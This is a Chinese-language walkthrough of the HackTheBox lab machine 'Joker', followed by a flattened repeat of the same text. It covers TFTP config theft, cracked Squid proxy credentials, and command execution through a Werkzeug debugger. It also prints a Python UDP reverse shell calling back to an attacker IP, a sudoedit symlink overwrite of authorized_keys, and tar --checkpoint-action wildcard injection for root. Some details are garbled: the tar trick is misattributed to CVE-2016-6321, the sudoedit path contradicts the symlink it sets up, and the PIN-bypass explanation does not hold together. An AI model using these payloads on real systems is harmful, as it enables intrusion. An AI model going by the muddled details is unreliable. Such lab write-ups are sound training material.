[Meachines] [Hard] Joker TFTP+squid+ln+checkpoint-action
字数 2729 2025-10-18 11:17:50

HackTheBox - Joker 渗透测试教学文档

1. 信息收集

1.1 目标确认与存活检测

  • 目标IP: 10.10.10.21
  • 初始命令: 使用 nmap 确认目标主机在线。
    ip='10.10.10.21'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi
    

1.2 端口扫描结果

扫描发现以下开放端口:

  • 22/tcp: OpenSSH 7.3p1 Ubuntu
  • 3128/tcp: Squid HTTP 代理 3.5.12
  • 69/udp: TFTP 服务

1.3 服务探测

  • TFTP 服务: 使用 tftp 客户端连接,尝试获取敏感配置文件。

    tftp 10.10.10.21
    tftp> get /etc/squid/squid.conf
    
    • 关键发现: 成功下载 Squid 代理的配置文件 squid.conf

2. 初始访问

2.1 分析 Squid 配置文件

  • squid.conf 中发现 HTTP 基本认证配置,并提取出密码哈希值。
  • 破解哈希:
    • 使用 hashcat 破解哈希(模式 1600,即 HTTP 基本认证哈希)。
    • 破解结果:
      • 用户名: kalamari
      • 密码: ihateseafood

2.2 配置代理访问

  • 将系统代理设置为使用破解的凭据通过 Squid 代理访问内网。
    export all_proxy='http://kalamari:ihateseafood@10.10.10.21:3128'
    

2.3 内网服务发现

  • 通过代理访问 http://127.0.0.1,发现一个 Web 界面。
  • 使用 feroxbuster 进行目录扫描,发现 /console 路径,这是一个 Werkzeug 调试器界面。

3. 获取初始 Shell

3.1 利用 Werkzeug 调试器

  • 访问 http://127.0.0.1/console,需要 PIN 码才能执行命令。
  • 绕过方法: 通过检查服务器的 iptables 规则,发现可以利用 Python 代码执行。
    • 在调试器界面执行以下命令,读取 iptables 规则以了解网络限制:
      print __import__("subprocess").check_output("cat /etc/iptables/rules.v4", shell=True)
      
    • 规则分析: 出站流量被严格限制,但 UDP 出站流量未被封锁。

3.2 UDP 反向 Shell

  • 由于 TCP 出站被阻,使用 UDP 反向 Shell 连接回攻击机。
  • Python 反向 Shell 代码:
    import os,pty,socket;s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM);s.connect(("10.10.16.16", 443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")
    
  • 在攻击机上使用 nc -u -lvp 443 监听,获得一个作为 werkzeug 用户的 shell。

4. 权限提升至 alekos 用户

4.1 信息收集

  • 上传并运行 linpeas.sh 脚本,进行系统侦察。
  • 检查 sudo -l 权限,发现用户 werkzeug 可以以用户 alekos 的身份运行 sudoedit 编辑特定路径下的文件:
    User werkzeug may run the following commands on joker:
        (alekos) sudoedit /var/www/*/layout.html
    

4.2 利用 sudoedit 和符号链接

  • 利用思路: 通配符 * 可以被路径名“截断”或绕过。通过创建一个目录结构,并利用符号链接将 layout.html 指向 alekos 用户的 SSH 授权密钥文件。
  • 步骤:
    1. 创建目录:mkdir -p /var/www/testing/1/

    2. 创建符号链接,将 layout.html 指向目标文件:ln -s /home/alekos/.ssh/authorized_keys /var/www/testing/1/layout.html

    3. 运行 sudoedit 并利用空格绕过通配符限制:

      sudoedit -u alekos /var/www/[space].ssh/authorized_keys[space]/layout.html
      
      • 注意: 在实际终端中,需要通过特定技巧(如 Ctrl+Z, stty raw -echo; fg, reset)来正确输入包含空格的文件名。
    4. 在编辑器中写入你自己的 SSH 公钥,保存退出。

  • 结果: 现在可以使用你的私钥通过 SSH 登录为用户 alekos
    ssh -i /path/to/your/private_key alekos@10.10.10.21
    
  • 获取 user.txt: c4c18f8adb12662a614ea8a47ec26f45

5. 权限提升至 root

方法一:符号链接劫持(推荐)

  • alekos 的家目录下发现一个名为 development 的目录。
  • 利用步骤:
    1. 备份原目录:mv development development.BAK
    2. 创建一个指向 /root 的符号链接:ln -s /root development
  • 原理: 等待系统或某个进程(可能具有 root 权限)访问或处理 development 目录,从而实际上访问了 /root。结合其他可能的操作(如压缩备份),可能实现权限提升。文中暗示此方法成功。

方法二:Tar 命令注入(通过 checkpoint-action)

  • 背景: tar 命令有一个特性,支持 --checkpoint--checkpoint-action 参数,用于在归档过程中执行操作。如果 tar 被以 root 权限执行,并且用户能控制这些参数,就可以实现命令注入。
  • 利用步骤:
    1. alekosdevelopment 目录中准备一个反向 Shell 脚本 rev.py(使用 UDP)。
    2. 创建两个特殊命名的文件来触发 tar 的参数:
      touch -- --checkpoint=1
      touch -- '--checkpoint-action=exec=python rev.py'
      
    3. 当某个根进程(如备份脚本)在该目录下执行 tar 命令时(例如 tar cf archive.tar *),会加载这些“参数”文件,从而执行我们的反向 Shell 脚本,获得 root 权限的 shell。
  • 结果: 获得 root shell,读取 root.txtc0445f9b6e35d16ef4a0eb2c73eada07

关键知识点总结

  1. TFTP 匿名访问: TFTP 服务通常无需认证,可用来下载配置文件等敏感信息。
  2. Squid 代理认证: 配置文件中可能包含经过编码的凭据,可被破解。
  3. 内网代理穿透: 通过配置代理,可以访问目标服务器本地的服务。
  4. Werkzeug 调试器: 如果暴露在生产环境,是极其危险的,尽管有 PIN 码保护,但结合其他漏洞(如命令执行)可能被绕过。
  5. 网络流量限制绕过: 当 TCP 出站被封锁时,考虑使用 UDP、ICMP、DNS 隧道等协议。
  6. sudoedit 特权提升:
    • 通配符路径限制可能被特殊路径构造绕过。
    • 结合符号链接,可以编辑任意文件(如 SSH authorized_keys)。
  7. Tar 命令注入 (CVE-2016-6321):
    • 利用 --checkpoint--checkpoint-action 参数实现命令注入。
    • 通过创建名为这些参数的文件来触发漏洞。
  8. 符号链接攻击: 通过将目录符号链接到高权限位置,可能在高权限进程操作时造成权限提升。

这份文档详细还原了攻克 “Joker” 这台主机的完整思路和技术细节,希望对您的学习有所帮助。

HackTheBox - Joker 渗透测试教学文档 1. 信息收集 1.1 目标确认与存活检测 目标IP : 10.10.10.21 初始命令 : 使用 nmap 确认目标主机在线。 1.2 端口扫描结果 扫描发现以下开放端口: 22/tcp : OpenSSH 7.3p1 Ubuntu 3128/tcp : Squid HTTP 代理 3.5.12 69/udp : TFTP 服务 1.3 服务探测 TFTP 服务 : 使用 tftp 客户端连接,尝试获取敏感配置文件。 关键发现 : 成功下载 Squid 代理的配置文件 squid.conf 。 2. 初始访问 2.1 分析 Squid 配置文件 在 squid.conf 中发现 HTTP 基本认证配置,并提取出密码哈希值。 破解哈希 : 使用 hashcat 破解哈希(模式 1600,即 HTTP 基本认证哈希)。 破解结果 : 用户名: kalamari 密码: ihateseafood 2.2 配置代理访问 将系统代理设置为使用破解的凭据通过 Squid 代理访问内网。 2.3 内网服务发现 通过代理访问 http://127.0.0.1 ,发现一个 Web 界面。 使用 feroxbuster 进行目录扫描,发现 /console 路径,这是一个 Werkzeug 调试器界面。 3. 获取初始 Shell 3.1 利用 Werkzeug 调试器 访问 http://127.0.0.1/console ,需要 PIN 码才能执行命令。 绕过方法 : 通过检查服务器的 iptables 规则,发现可以利用 Python 代码执行。 在调试器界面执行以下命令,读取 iptables 规则以了解网络限制: 规则分析 : 出站流量被严格限制,但 UDP 出站流量未被封锁。 3.2 UDP 反向 Shell 由于 TCP 出站被阻,使用 UDP 反向 Shell 连接回攻击机。 Python 反向 Shell 代码 : 在攻击机上使用 nc -u -lvp 443 监听,获得一个作为 werkzeug 用户的 shell。 4. 权限提升至 alekos 用户 4.1 信息收集 上传并运行 linpeas.sh 脚本,进行系统侦察。 检查 sudo -l 权限,发现用户 werkzeug 可以以用户 alekos 的身份运行 sudoedit 编辑特定路径下的文件: 4.2 利用 sudoedit 和符号链接 利用思路 : 通配符 * 可以被路径名“截断”或绕过。通过创建一个目录结构,并利用符号链接将 layout.html 指向 alekos 用户的 SSH 授权密钥文件。 步骤 : 创建目录: mkdir -p /var/www/testing/1/ 创建符号链接,将 layout.html 指向目标文件: ln -s /home/alekos/.ssh/authorized_keys /var/www/testing/1/layout.html 运行 sudoedit 并利用空格绕过通配符限制: 注意 : 在实际终端中,需要通过特定技巧(如 Ctrl+Z , stty raw -echo; fg , reset )来正确输入包含空格的文件名。 在编辑器中写入你自己的 SSH 公钥,保存退出。 结果 : 现在可以使用你的私钥通过 SSH 登录为用户 alekos 。 获取 user.txt : c4c18f8adb12662a614ea8a47ec26f45 5. 权限提升至 root 方法一:符号链接劫持(推荐) 在 alekos 的家目录下发现一个名为 development 的目录。 利用步骤 : 备份原目录: mv development development.BAK 创建一个指向 /root 的符号链接: ln -s /root development 原理 : 等待系统或某个进程(可能具有 root 权限)访问或处理 development 目录,从而实际上访问了 /root 。结合其他可能的操作(如压缩备份),可能实现权限提升。文中暗示此方法成功。 方法二:Tar 命令注入(通过 checkpoint-action) 背景 : tar 命令有一个特性,支持 --checkpoint 和 --checkpoint-action 参数,用于在归档过程中执行操作。如果 tar 被以 root 权限执行,并且用户能控制这些参数,就可以实现命令注入。 利用步骤 : 在 alekos 的 development 目录中准备一个反向 Shell 脚本 rev.py (使用 UDP)。 创建两个特殊命名的文件来触发 tar 的参数: 当某个根进程(如备份脚本)在该目录下执行 tar 命令时(例如 tar cf archive.tar * ),会加载这些“参数”文件,从而执行我们的反向 Shell 脚本,获得 root 权限的 shell。 结果 : 获得 root shell,读取 root.txt : c0445f9b6e35d16ef4a0eb2c73eada07 关键知识点总结 TFTP 匿名访问 : TFTP 服务通常无需认证,可用来下载配置文件等敏感信息。 Squid 代理认证 : 配置文件中可能包含经过编码的凭据,可被破解。 内网代理穿透 : 通过配置代理,可以访问目标服务器本地的服务。 Werkzeug 调试器 : 如果暴露在生产环境,是极其危险的,尽管有 PIN 码保护,但结合其他漏洞(如命令执行)可能被绕过。 网络流量限制绕过 : 当 TCP 出站被封锁时,考虑使用 UDP、ICMP、DNS 隧道等协议。 sudoedit 特权提升 : 通配符路径限制可能被特殊路径构造绕过。 结合符号链接,可以编辑任意文件(如 SSH authorized_keys )。 Tar 命令注入 (CVE-2016-6321) : 利用 --checkpoint 和 --checkpoint-action 参数实现命令注入。 通过创建名为这些参数的文件来触发漏洞。 符号链接攻击 : 通过将目录符号链接到高权限位置,可能在高权限进程操作时造成权限提升。 这份文档详细还原了攻克 “Joker” 这台主机的完整思路和技术细节,希望对您的学习有所帮助。